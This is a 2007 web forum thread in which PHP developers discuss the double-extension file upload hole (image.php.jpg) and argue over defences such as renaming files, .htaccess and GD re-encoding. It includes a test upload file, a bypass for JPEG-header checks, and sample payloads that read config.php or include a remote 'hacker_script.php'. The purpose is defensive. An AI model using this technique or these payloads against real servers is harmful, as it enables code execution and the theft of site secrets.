homepage Welcome to WebmasterWorld Guest from 107.20.131.154
register, free tools, login, search, subscribe, help, library, announcements, recent posts, open posts,
Subscribe and Support WebmasterWorld
Visit PubCon.com
Home / Forums Index / Code, Content, and Presentation / PHP Server Side Scripting
Forum Library, Charter, Moderators: coopster & jatar k

PHP Server Side Scripting Forum

    
Reminder - rename your file uploads
This cannot be said too many times
vincevincevince




msg:3461087
 4:48 am on Sep 26, 2007 (gmt 0)

A popular open source application (will remain nameless) is the next to join the ranks of those which allow file uploads to keep their names.

This cannot be over-emphasised - it's been said here before and will be said many times again:
You must rename files when you upload them

It is a serious security risk otherwise. If your code is for internal use only and you have otherwise secured your server, then maybe it's okay.

To test your own application's file upload for security risks, open notepad, and enter the following in a file (changing YOUR@EMAIL.ADD to your own address):

<?php
mail("YOUR@EMAIL.ADD","This could be spam","Coming from your server");
?>

Save it as image.php.jpg

Upload it.

Type the direct path to where that file went:

http://www.example.com/img_upload/image.php.jpg

Be aware that this can often work with other languages as well (not confined to PHP). Don't try removing '.php' from filenames. Hackers can easily use .asp, .pl, .cgi or anything else you happen to support.

Don't try checking the file type by using built-in functions! It is easy to prefix the file above with the first chunk of a true jpg file and it will identify as a valid jpg.

This massive flaw exists in a large number of image galleries and many other software suites. Any time you take a user-supplied file and store it on the server, rename it.

My recommendation for good practice is to rename it to a serial number and then keep the true filename in a database table with the serial number as an index. That way you can easily use mod_rewrite to make it appear that the image has kept the correct name.

 

Lexur




msg:3461106
 5:32 am on Sep 26, 2007 (gmt 0)

Thanks!

Really valuable advice for everybody but hackers.

phparion




msg:3461108
 5:38 am on Sep 26, 2007 (gmt 0)

A workaround could be to explode your image in a variable, read first few bytes and make sure it is an image and doesn't contain text etc.

if EXIF is installed on your server you can do this all with a single function called exif_imagetype() [php.net]

vincevincevince




msg:3461109
 5:45 am on Sep 26, 2007 (gmt 0)

A workaround could be to explode your image in a variable, read first few bytes and make sure it is an image and doesn't contain text etc.

That is not a work around. Anyone can put the first few bytes of a real jpeg or similar before the <?php and bypass the function. I'd show an example but those characters won't paste properly in WebmasterWorld.

The best workaround is to name it yourself. Most other workarounds just leave gateways for attacks with only small variations.

Some reasonable other options:
1) Use GD to parse the entire image and write it again from GD
2) Store the image in a database as BLOB (although this is practically the same as renaming the image to a serial number)

I caution you against using file permissions or server configuration to deal with this. One day you will give or sell the script to someone and they won't do (or won't be able to do) the needed changes. Just as likely, your server will crash, you'll install a fresh OS and forget all the extra non-standard settings you need.

Summary: Never do this
move_uploaded_file($_FILES[file][tmp_name],"images/".$_FILES[file][name]);
Don't ever trust the original file name. Pick a new one yourself.

joelgreen




msg:3461233
 10:13 am on Sep 26, 2007 (gmt 0)


<?php
mail("YOUR@EMAIL.ADD","This could be spam","Coming from your server");
?>

Save it as image.php.jpg

Upload it.

Type the direct path to where that file went:

http://www.example.com/img_upload/image.php.jpg

I can't understand why you are considering this a vulnerability? Do you have server setup to parse jpg/png/gif files as php? If so, this would be a useless server load.

php/asp/etc code injections into images can only cause troubles if your script is doing include($image_file_name) instead of readfile($image_file_name). I believe using readfile avoids all these vulnerabilities. Am i missing something?

vincevincevince




msg:3461235
 10:15 am on Sep 26, 2007 (gmt 0)

The standard setup of even reasonably recent (and older versions) Apache + PHP will mistakenly parse any file containing '.php' in the filename... not only if it is placed at the very end of the filename.

Try it. Create the file and upload it. Visit it through your browser and await email. You might be okay. We're not talking about using include() or readfile()... we're talking about visiting these files directly from the browser.

[edited by: vincevincevince at 10:22 am (utc) on Sep. 26, 2007]

joelgreen




msg:3461239
 10:21 am on Sep 26, 2007 (gmt 0)

Thank vince, was not aware of that.

joelgreen




msg:3461240
 10:24 am on Sep 26, 2007 (gmt 0)

So one more solution would be to make sure there is only single dot (.) in file name, and extension is "supported by your script image type", like png/jpg/gif/etc.

phparion




msg:3461242
 10:25 am on Sep 26, 2007 (gmt 0)

if you have blocked your images folder direct access with htaccess file then nobody could call his uploaded files.

One other thing you could do is explode your file and regex it to see if any '@', or 'mail(' string is present in it.

vincevincevince




msg:3461244
 10:31 am on Sep 26, 2007 (gmt 0)

True, joelgreen.

have blocked your images folder direct access with htaccess file then nobody could call his uploaded files.

All fine until you tar up the files in the directory to send to someone and forget that .htaccess gets missed by tar *... or it needs to run somewhere without .htaccess. And don't forget that if you go this route then your users won't be able to view the pictures / documents / etc. they uploaded!

One other thing you could do is explode your file and regex it to see if any '@', or 'mail(' string is present in it.

This would be a foolish solution. How about <?php print file_get_contents("config.php");?> or <?php include("http://example.com/hacker_script.php");?>. There, no @ or mail(). Don't even dream about letting visitors execute arbritary PHP code on your server, crazy!

phparion




msg:3461300
 11:45 am on Sep 26, 2007 (gmt 0)

well, you have been talking about suppositions that if this happen then this will be done. We had seen yahoo website being hacked and dreamhost to be blocked by famous sites because it had been spoofed.

I am not saying that your idea to rename file is wrong, it is good and easy but a hacker must tell us how they explode this because I bet they must know that people can rename files :)

phparion




msg:3461301
 11:47 am on Sep 26, 2007 (gmt 0)

and just FYI you just taught a good injection technique to many who didn't know it before... lol

jatar_k




msg:3461358
 12:47 pm on Sep 26, 2007 (gmt 0)

the people who use it already know it, not teaching these things to people who are learning to protect against it will just keep them ignorant.

You want to learn about this stuff, hack your scripts, break stuff, delete dbs through a contact form, it can be done. Learn escape chars, injection, read a ton of howto's

ignorance is not a valid defense ;)

henry0




msg:3461413
 1:28 pm on Sep 26, 2007 (gmt 0)

I have a major concern
As per jatar_k: "Hack your script"
I think about it many times.
However the "how to hack" is tougher than dealing with what we think knowing about security.

HOW WILL YOU LEARN ABOUT HACKING?
Is the real question.

I am not gutsy enough to start looking for "dark corners" of the web and try to comm with hackers or hacker boards
And I do not think there are books about it :)

Many books about security, indeed the reverse of security coding could be used in hacking but I could not really figure it out aside of the very basic stuff?

So how hacking our own script?

<edit>
minor change
</edit>

jatar_k




msg:3461503
 2:50 pm on Sep 26, 2007 (gmt 0)

search the web

[google.com...]

among a million other searches, yes care is required when you search these dark corners but they are fairly easy to find

script kiddies start somewhere, usually google ;)

zCat




msg:3461551
 3:40 pm on Sep 26, 2007 (gmt 0)

The standard setup of even reasonably recent (and older versions) Apache + PHP will mistakenly parse any file containing '.php' in the filename... not only if it is placed at the very end of the filename.

Do you have some information on precisely which Apache versions might be affected, and exactly what configuration might cause this? I'm trying to reproduce the problem, but without any success, both on 2.0.59 and an ancient 1.3.33.

cameraman




msg:3461924
 8:24 pm on Sep 26, 2007 (gmt 0)

Do you have some information on precisely which Apache versions might be affected, and exactly what configuration might cause this? I'm trying to reproduce the problem, but without any success, both on 2.0.59 and an ancient 1.3.33.

I'm interested in this information as well. At any rate, it would seem to me that:
RewriteRule .*php\. - [F,NC]
would pretty much fix that situation. Expand to as many extensions as necessary. I think joelgreen's 'only one period allowed' is even better, and would even provide additional benefit by keeping files with the something.inc.php naming convention from being executed directly as well.

How exactly are you serving these renamed files?
if you go this route then your users won't be able to view the pictures / documents / etc. they uploaded!
How does your method allow this without actually serving a tainted file?

All fine until you tar up the files in the directory to send to someone and forget that .htaccess gets missed by tar *... or it needs to run somewhere without .htaccess.

Not sure I understand why you'd be sending off the directory of uploaded images, but I'm sure a real hotshot scripter would have a test in the upload script to check for the existence of an effective .htaccess file in the upload directory. Personally I wouldn't pay money for hosting that didn't allow .htaccess.

The best workaround is to name it yourself.

I disagree. In my opinion, the best method is to .htaccess the directory and serve the images via gd.

One other thing you could do is explode your file and regex it to see if any '@', or 'mail(' string is present in it.

This would be a foolish solution.

Why, exactly? You could instead (or in addition) regex it for '<php' and/or any other code-opening tokens.

Sorry, I'm not convinced. I serve 'native' graphics conventionally, and use .htaccess/gd for uploaded ones.

Philosopher




msg:3461953
 8:49 pm on Sep 26, 2007 (gmt 0)

Why, exactly?

Because there is always a chance that you won't think of one of the tokens that could be used. Some examples were given earlier, but that is by no means all of them. What if you happened to miss one and it is used in an injection attempt?

If the potential hacker can't find the "image" after upload, you've stopped them before anything else can be attempted.

cameraman




msg:3461986
 9:37 pm on Sep 26, 2007 (gmt 0)

What if you happened to miss one

So you consult your server software's handler list while you're composing the expression.

The point is his immediate, unfounded dismissal that it's "foolish". It may not be complete, it may not be the best but it's far from foolish, it's a viable solution.

Keeping something locked up is better than hiding it. Burglars prove that every day.

phparion




msg:3462255
 4:39 am on Sep 27, 2007 (gmt 0)

it's getting long now.

I am still convinced that the best way is to use htaccess to stop direct access of your images folder and if possible put it above public_html/www/httpdocs folder.

The second solution could be to parse your images for all possible strings at least 'mail(' will appear whatsoever if the file contains the mailing function, since we are talking about mail() injection with uploading.

As long as it is about renaming files, since we are supposing conditions so let's suppose that you have a social networking site and I as a hacker upload an injection file for my profile picture section.

You have renamed it after uploading good work. I will visit my profile and will get the renamed name of my injection file from that page. and I can call it then with the new name.

If it is possible to take out / provoke execute permission from the image folder you are on the safe side.

joelgreen




msg:3462462
 10:56 am on Sep 27, 2007 (gmt 0)

I am still convinced that the best way is to use htaccess to stop direct access of your images folder

As i understand this assumes some special script for providing images from that folder? What would be the benefit of this? I can only see additional server load because instead of serving images by say Apache directly, your script would have to serve them itself.
I believe image needs to be sanitized once, and served as many times as needed. And if you have it sanitized, why would you need to hide it behind the web root?

henry0




msg:3462471
 11:07 am on Sep 27, 2007 (gmt 0)

I agree with joelgreen,
My images in the case describes by phparion, are first renamed (well, I made it that way, long before that thread)
and my images are going through a few GD process
if no GD = no img then how much further do one needs to go?
not to mention the obvious pre upload sanitization

<edit>
I might also via eregi() deal with any client and server side file extension name, plus mail @, CC etc..
</edit>

PHP_Chimp




msg:3462508
 11:41 am on Sep 27, 2007 (gmt 0)

I think that joelgreens point is well made. ALWAYS check user input. The point of the thread was to check user input to make sure that people are not misleading your script into allowing them to spam from your server.
Changing the name of the file so that spammers cant find there original file is an additional security measure. However it wont stop people as unless you are going to use a completely random algorithm to rename there script as they will be able to find it eventually. If you validate your input to make sure that if they are sending you an image it is an image not an image with code at the beginning, middle or end then why not allow people to retrieve there image with the same file name?

Its that validation of the input that is the most important thing. Also that those people who know what weaknesses are around share those with people so that we can all make our scripts more secure. While this thread may have taught a new trick to those hackers just starting out it has potentially exposed a weakness in people scripts that we can now test for and fix.

The best method to stop hackers it not to allow any user input...but that isnt very interesting is it? So validation of that user input is hugely important.

coopster




msg:3463603
 11:02 am on Sep 28, 2007 (gmt 0)

The standard setup of even reasonably recent (and older versions) Apache + PHP will mistakenly parse any file containing '.php' in the filename... not only if it is placed at the very end of the filename.

It is not a mistake, it is by design:


Filenames may have multiple extensions and the extension argument will be compared against each of them.

[httpd.apache.org...]

Do you have some information on precisely which Apache versions might be affected, and exactly what configuration might cause this? I'm trying to reproduce the problem, but without any success, both on 2.0.59 and an ancient 1.3.33.

Apache isn't affected or even infected for that matter. The HTTP server is setup this way by design.

[httpd.apache.org...]

Many shared hosting providers will turn off Content Negotiation because of the general lack of understanding. They cinch things down tight because of this lack of understanding. If you aren't using Content Negotiation, turn it off. If you are using PHP and allowing user input, including file uploads, you just need to know what you are doing.

Apache defined with PHP as a handler is doing exactly what it is supposed to do, allow the PHP engine to parse the document because it has been defined in the extension. Our job as programmers is to understand how this works and code accordingly.

Great discussion, much to be learned here folks --
coopster

Global Options:
 top home search open messages active posts  
 

Home / Forums Index / Code, Content, and Presentation / PHP Server Side Scripting
rss feed

All trademarks and copyrights held by respective owners. Member comments are owned by the poster.
Terms of Service ¦ Privacy Policy ¦ Report Problem ¦ About
© Webmaster World 1996-2014 all rights reserved